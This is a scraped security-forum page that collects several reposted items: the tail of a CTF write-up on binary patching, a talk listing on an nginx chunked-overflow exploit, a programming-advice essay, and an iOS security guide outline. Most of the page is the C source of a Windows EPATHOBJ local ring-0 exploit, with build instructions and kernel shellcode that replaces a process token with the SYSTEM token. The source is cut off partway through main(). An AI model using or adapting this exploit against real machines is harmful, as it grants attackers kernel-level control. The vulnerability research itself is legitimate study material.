the immediate value 0xfffff8e1 by the new offset 0xfffffa1b. This will be the new offset that the call instruction will use. Simple enough right? Well... sort of. This binary was a 32bit ELF binary. We can use "objdump -h" to find out the offset of important sections of a binary file. What we are interested in is the offset of the .text section. The output of "objdump -h" (only .text information shown here): The text section starts at offset 0xd20 in the binary file and its virtual address is 0x08048d20. The call instruction is at 0x08484ee. So, 0x08494ee - 0x08048d20 = 0x7ce. This is the distance between in the start of text section and the call to encryption routine instruction. Therefore, the call instruction is at offset 0xd20 + 0x7ce = 0x14ee in the binary file. The call instruction format is "opcode(1byte) code_offset(4bytes)". So we have to replace the integer(4bytes) at offset 0x14ee+1 with 0xfffffa1b. I wrote a program to do this by memory-mapping the binary and replacing the code_offset. Of course, we can simple open the file, seek to 0x14ee+1 and write an integer there but the reason I used memory mapping is because I wanted to see if I was modifying the correct place in the binary file and memory-mapping enables you to do this easily since you can view the file contents in the memory window of a debugger. Small snippet of the code to make the modification: WCHAR *szFile = L"C:\\Users\\Shishir\\CTF\\kes\\crypt";WCHAR *szOutFile = L"C:\\Users\\Shishir\\CTF\\kes\\crypt_new"; HANDLE hFile = NULL, hFileObj = NULL, hFileView = NULL; DWORD dwFileSize = 0; wprintf_s(L"Using input file: %s\n", szFile); if( ! fOpenAndMapFile(szFile, &hFile, &hFileObj, &hFileView, &dwFileSize) ) { wprintf_s(L"Error opening input file\n"); return 1; } unsigned char *fptr = (unsigned char*)hFileView; // Seek to offset where the call instruction's code_offset is fptr += 0x14ee + 1; unsigned int *iptr = (unsigned int*)fptr; int old_data = *iptr; int new_data = 0xfffffa1b; *iptr = new_data; Once this was done, I took the new modified binary and did an objdump of it and the call instruction at 0x08494ee was pointing to the decryption routine _Z7decryptSsSs() now!! Note the virtual address, 0x080494ee, is where the call instruction is in the following modified code and in the previous screenshot. Executed the program by giving "ENCRYPT" as the fifth argument and got the decrypted message in the output file! Now, this was possible because the decryption and encryption routines both had the same function signatures - same arguments especially - so the code that setup arguments on the stack before the call to _Z7encryptSsSs() did not have to be changed. Well, after submitting the flag and getting rewarded handsomely with points, I spoke to a fellow student who did it in a different, more easier, way. GDB allows you to control the contents of any register during debugging. So all you have to do is to make sure you break the program before each of the branching decision points and change the value of EIP register so that the correct branch is taken even though you specify "DECRYPT" at the command line. Anyway, it was fun playing around with gdb, objdump and the binary file even though my method was more complicated! This actually brings us to the topic of packers. A packer, in the context of computers and security, is a program that can compress and/or encrypt a binary file that is provided as input. This is how many of today's software programs are distributed in order to protect Intellectual Property. The compressed/encrypted binary is the one that is distributed to consumers. This supposedly prevents competitors and crackers from reverse engineering the binary and stealing the code implemented by a company. You might ask how the OS manages to run these 'packed' programs. When a binary file is packed, the unpacker is included as part of the final output of the packer. So executing the output binary file actually first invokes the unpacker which has the logic and information to unpack - decompress and/or decrypt - the rest of the binary and then execute the unpacked program. The unpacked program is usually run by creating a child process by the unpacker. UPX is a popular open-source packer. Even with packed a binary, we can still read the original code although it is a little more difficult. This difficulty arises because many packers are clever enough to not unpack everything at once. Unpacking may be done 'on-demand' and in-memory. So the challenge now is to determine when the unpacking process is finished and at this point we can dump the process's memory to disk for later analysis. The dump will hopefully have the whole binary in unpacked form to facilitate disassembly. This is why one must never ever depend on the fact that the source code will never be leaked. Remember, security through obscurity never works. The topic of packers and techniques for anti-packing and vice-versa is very interesting. I will write about it may be in a later post. That's it for now! Posted by Shishir Prasad at 01:31 Sursa: Ring0 - The Inner Circle: Modifying a Binary File?
  18. Exploiting nginx chunked overflow bug, the undisclosed attack vector Long Le longld@vnsecurity.net SECUINSIDE 2013 In this talk •Nginx brief introduction •Nginx chunked overflow bug –The analysis –The exploit –The undisclosed attack vector •x86-64 ROP tricks •Demo Download: http://t.co/frjiFWoEwY
  19. [h=1]Advice to a New Programmer[/h]By Andrew Binstock, July 16, 2013 So much advice is heaped upon beginners that it can be hard to know where to start. However, these five practices are the foundation upon which everything else is built. Every few months, I receive a request by a new programmer who, with commendable diligence, wants to know how best to become a really good programmer. I also see this question a lot on programmer forums, which is a heartening trend. The most thoughtful answers tend to follow in similar channels to my thoughts on the subject, which suggests that there is indeed a certain basic agreement on fundamental best practices. I hasten to add, therefore, that these counsels are not original, but perhaps the color I add will provide additional insight. The beginner I have in mind has a basic understanding of how programming works, has written mostly small programs of varying complexity, and is heading off to either a career in the field or committed to excellence for his or own personal projects. There is only one truly foundational activity in programming: writing code. To be good at it, you're going to have to write a lot of code. That big body of work can be a vehicle for growth, or an exercise in repeatedly practicing a limited set of skills. To avoid the latter, you need to: Read a lot of code. Specifically, read a lot of code by excellent programmers. Not just good programmers, like the guy down the hall, but excellent ones. Due to the huge amount of open source today, this is easy to do. When I was learning Java, I read code from the Tomcat project and from the CI server, Cruise Control. I've read lots of good code since. It might be tempting to look for main() and start from there, but you're likely to spend a lot of time just reading set-up code and command-line parsing. I prefer to scan the filenames to look for some activity that interests me and then dig into those files. It's not crucial to understand the whole project or the ins and outs of the entire design, you'll wear yourself out doing this. Read the code. Look at the comments, see what the authors are doing, and how they went about it. Learn your tools thoroughly. I think the greatest loss of programming time is not in debugging or rewriting code, but in the innumerable seconds lost here and there by developers who don't really know their tools. I am referring to: the IDE, the language, the build system, and the VCS. Of these, the IDE and the language are by far the most important. You should, after a few weeks of practice, know almost every keystroke combo in the IDE, so that you touch the mouse only when it saves a lot of keystrokes. If you know the keystrokes, you know the commands. If you use the mouse only, you know only menus on which you tend to click on the same one or two entries. Knowing the IDE is pure discipline. Knowing large languages, such as Java or C++, takes more than discipline. They're huge, as are their libraries. Reading is the best approach, in my view. Read code that uses features you don't know and you'll look for opportunities to use them. Books (rather than blogs) are another excellent source. Read about features that are on the periphery of what you use currently, and soon you'll find the periphery expanding. Knowing the VCS and build systems make you a desirable team member — who doesn't waste time due of ignorance of important operations. Plan your code before you write it. I think this is the most difficult item on this list. In exchange, it probably delivers the most benefit. I'm not thinking of formal design — at your stage, that's unlikely to be necessary. But you do need to plan out the code in some manner other than carrying it around in your head. The simplest approach is to write up a small document (I frequently use a mind map): What are the requirements for this code? How will you implement it? What do I need to know that I don't know now? What are the objects I will need or need to create? And write this out. Only then begin to code, you'll find the code much easier to write, to document, and to get correct. Save your notes — they're great reference material. Write lots of code and have it reviewed. If your site does not do code reviews, do them yourself. Find the best programmer who'll give you useful advice in a way that can be heard and understood. Don't be a pest, but don't avoid the process because you're shy, busy, or feel you're good enough, etc. Code reviews should be part of your programming life. Be creative. Try pair programming with someone more senior than you for an afternoon. The important thing is that you need feedback that you cannot give yourself. Write tests as you code. This advice is perhaps the only controversial item here. It's not an endorsement of TDD. But it is an endorsement of knowing that your code works in most scenarios it will face. Start with unit tests and exercise new code with edge-case values. For example, does your function work if it is passed a negative value, or the maximum integer size? If not, does it throw an informative exception or just blow up? If not an exception, have you narrowed the range of inputs with asserts? If so, test the asserts. Use the planning you did earlier to write mocks, and then begin testing your new code with objects you still need to write. This will clarify design issues in your current code and the upcoming objects. Save your tests and run them prior to every check-in, so that they can be early warning systems for later code that breaks your current code. There's a lot more advice and many wise sayings that can be added to this list. But that's part of the problem: There's so much advice available that it's difficult to know exactly where to start. For that reason, I purposely limit my recommendations to just five points. If you apply them with diligence, you'll soon find two things: You'll be able to handle progressively larger and more important tasks, and you'll look back in embarrassment at code you wrote just a few months ago. Both experiences are sure signs of progress. Good luck! — Andrew Binstock Editor in Chief alb@drdobbs.com Twitter: platypusguy Sursa: Advice to a New Programmer | Dr Dobb's
  20. iOS Security Page 3 Introduction Page 4 System Architecture Secure Boot Chain System Software Personalization App Code Signing Runtime Process Security Page 7 Encryption and Data Protection Hardware Security Features File Data Protection Passcodes Classes Keychain Data Protection Keybags Page 13 Network Security SSL, TLS VPN Wi-Fi Bluetooth Page 15 Device Access Passcode Protection Configuration Enforcement Mobile Device Management Device Restrictions Remote Wipe Page 18 Conclusion A Commitment to Security Page 19 Glossary Download: http://css.csail.mit.edu/6.858/2012/readings/ios-security-may12.pdf
  21. Windows 8 to NT EPATHOBJ Local Ring 0 Exploit #ifndef WIN32_NO_STATUS# define WIN32_NO_STATUS #endif #include <stdio.h> #include <stdarg.h> #include <stddef.h> #include <windows.h> #include <assert.h> #ifdef WIN32_NO_STATUS # undef WIN32_NO_STATUS #endif #include <ntstatus.h> #pragma comment(lib, "gdi32") #pragma comment(lib, "kernel32") #pragma comment(lib, "user32") #pragma comment(lib, "shell32") #pragma comment(linker, "/SECTION:.text,ERW") #ifndef PAGE_SIZE # define PAGE_SIZE 0x1000 #endif #define MAX_POLYPOINTS (8192 * 3) #define MAX_REGIONS 8192 #define CYCLE_TIMEOUT 10000 // // -------------------------------------------------- // Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit // ----------------------------------------- taviso () cmpxchg8b com ----- // // INTRODUCTION // // There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the // PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the // next list pointer. The bug is really nice, but exploitation when // allocations start failing is tricky. // // ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this, // PATHRECORD **pppr, // ULONG *pcMax, // ULONG cNeeded) // .text:BFA122CA mov esi, [ebp+ppr] // .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev] // .text:BFA122D0 push edi // .text:BFA122D1 mov edi, [ebp+pprNew] // .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax // .text:BFA122D7 lea eax, [edi+PATHRECORD.count] // .text:BFA122DA xor edx, edx // .text:BFA122DC mov [eax], edx // .text:BFA122DE mov ecx, [esi+PATHRECORD.flags] // .text:BFA122E1 and ecx, not (PD_BEZIER) // .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx // .text:BFA122E7 mov [ebp+pprNewCountPtr], eax // .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx // .text:BFA122ED jnz short loc_BFA122F7 // .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath] // .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi // // It turns out this mostly works because newpathrec() is backed by newpathalloc() // which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned. // // ; PVOID __stdcall PALLOCMEM(size_t size, int tag) // .text:BF9160D7 xor esi, esi // .text:BF9160DE push esi // .text:BF9160DF push esi // .text:BF9160E0 push [ebp+tag] // .text:BF9160E3 push [ebp+size] // .text:BF9160E6 call _HeavyAllocPool () 16 ; HeavyAllocPool(x,x,x,x) // .text:BF9160EB mov esi, eax // .text:BF9160ED test esi, esi // .text:BF9160EF jz short loc_BF9160FF // .text:BF9160F1 push [ebp+size] ; size_t // .text:BF9160F4 push 0 ; int // .text:BF9160F6 push esi ; void * // .text:BF9160F7 call _memset // // However, the PATHALLOC allocator includes it's own freelist implementation, and // if that codepath can satisfy a request the memory isn't zeroed and returned // directly to the caller. This effectively means that we can add our own objects // to the PATHRECORD chain. // // We can force this behaviour under memory pressure relatively easily, I just // spam HRGN objects until they start failing. This isn't super reliable, but it's // good enough for testing. // // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // // failure. Seriously, do some damn QA Microsoft, wtf. // for (Size = 1 << 26; Size; Size >>= 1) { // while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) // ; // } // // Adding user controlled blocks to the freelist is a little trickier, but I've // found that flattening large lists of bezier curves added with PolyDraw() can // accomplish this reliably. The code to do this is something along the lines of: // // for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { // Points[PointNum].x = 0x41414141 >> 4; // Points[PointNum].y = 0x41414141 >> 4; // PointTypes[PointNum] = PT_BEZIERTO; // } // // for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { // BeginPath(Device); // PolyDraw(Device, Points, PointTypes, PointNum); // EndPath(Device); // FlattenPath(Device); // FlattenPath(Device); // EndPath(Device); // } // // We can verify this is working by putting a breakpoint after newpathrec, and // verifying the buffer is filled with recognisable values when it returns: // // kd> u win32k!EPATHOBJ::pprFlattenRec+1E // win32k!EPATHOBJ::pprFlattenRec+0x1e: // 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69) // 95c922bd 83f801 cmp eax,1 // 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9) // 95c922c2 33c0 xor eax,eax // 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d) // 95c922c9 56 push esi // 95c922ca 8b7508 mov esi,dword ptr [ebp+8] // 95c922cd 8b4604 mov eax,dword ptr [esi+4] // kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc" // kd> g // fe938fac 41414140 // fe938fac 41414140 // fe938fac 41414140 // fe938fac 41414140 // fe938fac 41414140 // // The breakpoint dumps the first dword of the returned buffer, which matches the // bezier points set with PolyDraw(). So convincing pprFlattenRec() to move // EPATHOBJ->records->head->next->next into userspace is no problem, and we can // easily break the list traversal in bFlattten(): // // BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) // { // EPATHOBJ *pathobj; // esi () 1 // PATHOBJ *ppath; // eax () 1 // BOOL result; // eax () 2 // PATHRECORD *ppr; // eax () 3 // // pathobj = this; // ppath = this->ppath; // if ( ppath ) // { // for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) // { // if ( ppr->flags & PD_BEZIER ) // { // ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); // if ( !ppr ) // goto LABEL_2; // } // } // pathobj->fl &= 0xFFFFFFFE; // result = 1; // } // else // { // LABEL_2: // result = 0; // } // return result; // } // // All we have to do is allocate our own PATHRECORD structure, and then spam // PolyDraw() with POINTFIX structures containing co-ordinates that are actually // pointers shifted right by 4 (for this reason the structure must be aligned so // the bits shifted out are all zero). // // We can see this in action by putting a breakpoint in bFlatten when ppr has // moved into userspace: // // kd> u win32k!EPATHOBJ::bFlatten // win32k!EPATHOBJ::bFlatten: // 95c92517 8bff mov edi,edi // 95c92519 56 push esi // 95c9251a 8bf1 mov esi,ecx // 95c9251c 8b4608 mov eax,dword ptr [esi+8] // 95c9251f 85c0 test eax,eax // 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527) // 95c92523 33c0 xor eax,eax // 95c92525 5e pop esi // kd> u // win32k!EPATHOBJ::bFlatten+0xf: // 95c92526 c3 ret // 95c92527 8b4014 mov eax,dword ptr [eax+14h] // 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540) // 95c9252c f6400810 test byte ptr [eax+8],10h // 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e) // 95c92532 50 push eax // 95c92533 8bce mov ecx,esi // 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a) // // So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS // flags (defined in winddi.h). Let's break if it's in userspace: // // kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''" // kd> g // 95c9252c f6400810 test byte ptr [eax+8],10h // kd> r // eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d // eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc // cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 // win32k!EPATHOBJ::bFlatten+0x15: // 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=?? // // The question is how to turn that into code execution? It's obviously trivial to // call prFlattenRec with our userspace PATHRECORD..we can do that by setting // PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure // poses a problem. // // Let me demonstrate calling it with my own PATHRECORD: // // // Create our PATHRECORD in userspace we will get added to the EPATHOBJ // // pathrecord chain. // PathRecord = VirtualAlloc(NULL, // sizeof(PATHRECORD), // MEM_COMMIT | MEM_RESERVE, // PAGE_EXECUTE_READWRITE); // // // Initialise with recognisable debugging values. // FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC); // // PathRecord->next = (PVOID)(0x41414141); // PathRecord->prev = (PVOID)(0x42424242); // // // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // // EPATHOBJ::bFlatten(), do that here. // PathRecord->flags = PD_BEZIERS; // // // Generate a large number of Bezier Curves made up of pointers to our // // PATHRECORD object. // for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { // Points[PointNum].x = (ULONG)(PathRecord) >> 4; // Points[PointNum].y = (ULONG)(PathRecord) >> 4; // PointTypes[PointNum] = PT_BEZIERTO; // } // // kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'" // kd> g // win32k!EPATHOBJ::pprFlattenRec+0x28: // 95c922c2 33c0 xor eax,eax // kd> dd ebp+8 L1 // a3633be0 00130000 // // The ppr object is in userspace! If we peek at it: // // kd> dd poi(ebp+8) // 00130000 41414141 42424242 00000010 cccccccc // 00130010 00000000 00000000 00000000 00000000 // 00130020 00000000 00000000 00000000 00000000 // 00130030 00000000 00000000 00000000 00000000 // 00130040 00000000 00000000 00000000 00000000 // 00130050 00000000 00000000 00000000 00000000 // 00130060 00000000 00000000 00000000 00000000 // 00130070 00000000 00000000 00000000 00000000 // // There's the next and prev pointer. // // kd> kvn // # ChildEBP RetAddr Args to Child // 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo]) // 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4]) // 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo]) // 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34) // // The question is how to get PATHALLOC() to succeed under memory pressure so we // can make this exploitable? I'm quite proud of this list cycle trick, // here's how to turn it into an arbitrary write. // // First, we create a watchdog thread that will patch the list atomically // when we're ready. This is needed because we can't exploit the bug while // HeavyAllocPool is failing, because of the early exit in pprFlattenRec: // // .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong) // .text:BFA122BD cmp eax, 1 ; Check for failure // .text:BFA122C0 jz short continue // .text:BFA122C2 xor eax, eax ; Exit early // .text:BFA122C4 jmp early_exit // // So we create a list node like this: // // PathRecord->Next = PathRecord; // PathRecord->Flags = 0; // // Then EPATHOBJ::bFlatten() spins forever doing nothing: // // BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) // { // /* ... */ // // for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) // { // if ( ppr->flags & PD_BEZIER ) // { // ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); // } // } // // /* ... */ // } // // While it's spinning, we clean up in another thread, then patch the thread (we // can do this, because it's now in userspace) to trigger the exploit. The first // block of pprFlattenRec does something like this: // // if ( pprNew->pprPrev ) // pprNew->pprPrev->pprnext = pprNew; // // Let's make that write to 0xCCCCCCCC. // // DWORD WINAPI WatchdogThread(LPVOID Parameter) // { // // // This routine waits for a mutex object to timeout, then patches the // // compromised linked list to point to an exploit. We need to do this. // LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p", // GetCurrentThreadId(), // Mutex); // // if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { // // It looks like the main thread is stuck in a call to FlattenPath(), // // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean // // up, and then patch the list to trigger our exploit. // while (NumRegion--) // DeleteObject(Regions[NumRegion]); // // LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord); // // InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); // // } else { // LogMessage(L_ERROR, "Mutex object did not timeout, list not patched"); // } // // return 0; // } // // PathRecord->next = PathRecord; // PathRecord->prev = (PVOID)(0x42424242); // PathRecord->flags = 0; // // ExploitRecord.next = NULL; // ExploitRecord.prev = 0xCCCCCCCC; // ExploitRecord.flags = PD_BEZIERS; // // Here's the output on Windows 8: // // kd> g // ******************************************************************************* // * * // * Bugcheck Analysis * // * * // ******************************************************************************* // // Use !analyze -v to get detailed debugging information. // // BugCheck 50, {cccccccc, 1, 8f18972e, 2} // *** WARNING: Unable to verify checksum for ComplexPath.exe // *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe // Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 ) // // Followup: MachineOwner // --------- // // nt!RtlpBreakWithStatusInstruction: // 810f46f4 cc int 3 // kd> kv // ChildEBP RetAddr Args to Child // a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0]) // a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo]) // a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4]) // a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6 // a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19 // a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868 // a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4]) // a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c) // a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo]) // a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0]) // a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4]) // a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14) // 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0]) // 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0]) // WARNING: Stack unwind information not available. Following frames may be wrong. // 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f // 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade // 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo]) // 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [sEH]) // 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo]) // kd> .trap a03aba2c // ErrCode = 00000002 // eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8 // eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc // cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 // win32k!EPATHOBJ::pprFlattenRec+0x82: // 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=???????? // kd> vertarget // Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible // Product: WinNt, suite: TerminalServer SingleUserTS // Built by: 9200.16581.x86fre.win8_gdr.130410-1505 // Machine Name: // Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48 // Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00) // System Uptime: 0 days 0:02:30.432 // kd> .bugcheck // Bugcheck code 00000050 // Arguments cccccccc 00000001 8f18972e 00000002 // // EXPLOITATION // // We're somewhat limited with what we can do, as we don't control what's // written, it's always a pointer to a PATHRECORD object. We can clobber a // function pointer, but the problem is making it point somewhere useful. // // The solution is to make the Next pointer a valid sequence of instructions, // which jumps to our second stage payload. We have to do that in just 4 bytes // (unless you can find a better call site, let me know if you spot one). // // Thanks to progmboy for coming up with the solution: you reach back up the // stack and pull a SystemCall parameter out of the stack. It turns out // NtQueryIntervalProfile matches this requirement perfectly. // // INSTRUCTIONS // // C:\> cl ComplexPath.c // C:\> ComplexPath // // You might need to run it several times before we get the allocation we need, // it won't crash if it doesn't work, so you can keep trying. I'm not sure how // to improve that. // // CREDIT // // Tavis Ormandy <taviso () cmpxchg8b com> // progmboy <programmeboy () gmail com> // POINT Points[MAX_POLYPOINTS]; BYTE PointTypes[MAX_POLYPOINTS]; HRGN Regions[MAX_REGIONS]; ULONG NumRegion = 0; HANDLE Mutex; DWORD Finished = 0; // Log levels. typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL; BOOL LogMessage(LEVEL Level, PCHAR Format, ...); // Copied from winddi.h from the DDK #define PD_BEGINSUBPATH 0x00000001 #define PD_ENDSUBPATH 0x00000002 #define PD_RESETSTYLE 0x00000004 #define PD_CLOSEFIGURE 0x00000008 #define PD_BEZIERS 0x00000010 typedef struct _POINTFIX { ULONG x; ULONG y; } POINTFIX, *PPOINTFIX; // Approximated from reverse engineering. typedef struct _PATHRECORD { struct _PATHRECORD *next; struct _PATHRECORD *prev; ULONG flags; ULONG count; POINTFIX points[4]; } PATHRECORD, *PPATHRECORD; PPATHRECORD PathRecord; PATHRECORD ExploitRecord; PPATHRECORD ExploitRecordExit; enum { SystemModuleInformation = 11 }; enum { ProfileTotalIssues = 2 }; typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256]; } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[1]; } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; FARPROC NtQuerySystemInformation; FARPROC NtQueryIntervalProfile; FARPROC PsReferencePrimaryToken; FARPROC PsLookupProcessByProcessId; PULONG HalDispatchTable; ULONG HalQuerySystemInformation; PULONG TargetPid; PVOID *PsInitialSystemProcess; // Search the specified data structure for a member with CurrentValue. BOOL FindAndReplaceMember(PDWORD Structure, DWORD CurrentValue, DWORD NewValue, DWORD MaxSize) { DWORD i, Mask; // Microsoft QWORD aligns object pointers, then uses the lower three // bits for quick reference counting. Mask = ~7; // Mask out the reference count. CurrentValue &= Mask; // Scan the structure for any occurrence of CurrentValue. for (i = 0; i < MaxSize; i++) { if ((Structure & Mask) == CurrentValue) { // And finally, replace it with NewValue. Structure = NewValue; return TRUE; } } // Member not found. return FALSE; } // This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec. ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4) { PVOID TargetProcess; // Record that the exploit completed. Finished = 1; // Fix the corrupted HalDispatchTable, HalDispatchTable[1] = HalQuerySystemInformation; // Find the EPROCESS structure for the process I want to escalate if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) { PACCESS_TOKEN SystemToken; PACCESS_TOKEN TargetToken; // Find the Token object for my target process, and the SYSTEM process. TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess); SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess); // Find the token in the target process, and replace with the system token. FindAndReplaceMember((PDWORD) TargetProcess, (DWORD) TargetToken, (DWORD) SystemToken, 0x200); } return 0; } DWORD WINAPI WatchdogThread(LPVOID Parameter) { // Here we wait for the main thread to get stuck inside FlattenPath(). WaitForSingleObject(Mutex, CYCLE_TIMEOUT); // It looks like we've taken control of the list, and the main thread // is spinning in EPATHOBJ::bFlatten. We can't continue because // EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails. // So first, we clean up and make sure it can allocate memory. while (NumRegion) DeleteObject(Regions[--NumRegion]); // Now we switch out the Next pointer for our exploit record. As soon // as this completes, the main thread will stop spinning and continue // into EPATHOBJ::pprFlattenRec. InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); return 0; } // I use this routine to generate a table of acceptable stub addresses. The // 0x40 offset is the location of the PULONG parameter to // nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever // trick. VOID __declspec(naked) HalDispatchRedirect(VOID) { __asm inc eax __asm jmp dword ptr [ebp+0x40]; // 0 __asm inc ecx __asm jmp dword ptr [ebp+0x40]; // 1 __asm inc edx __asm jmp dword ptr [ebp+0x40]; // 2 __asm inc ebx __asm jmp dword ptr [ebp+0x40]; // 3 __asm inc esi __asm jmp dword ptr [ebp+0x40]; // 4 __asm inc edi __asm jmp dword ptr [ebp+0x40]; // 5 __asm dec eax __asm jmp dword ptr [ebp+0x40]; // 6 __asm dec ecx __asm jmp dword ptr [ebp+0x40]; // 7 __asm dec edx __asm jmp dword ptr [ebp+0x40]; // 8 __asm dec ebx __asm jmp dword ptr [ebp+0x40]; // 9 __asm dec esi __asm jmp dword ptr [ebp+0x40]; // 10 __asm dec edi __asm jmp dword ptr [ebp+0x40]; // 11 // Mark end of table. __asm { _emit 0 _emit 0 _emit 0 _emit 0 } } int main(int argc, char **argv) { HANDLE Thread; HDC Device; ULONG Size; ULONG PointNum; 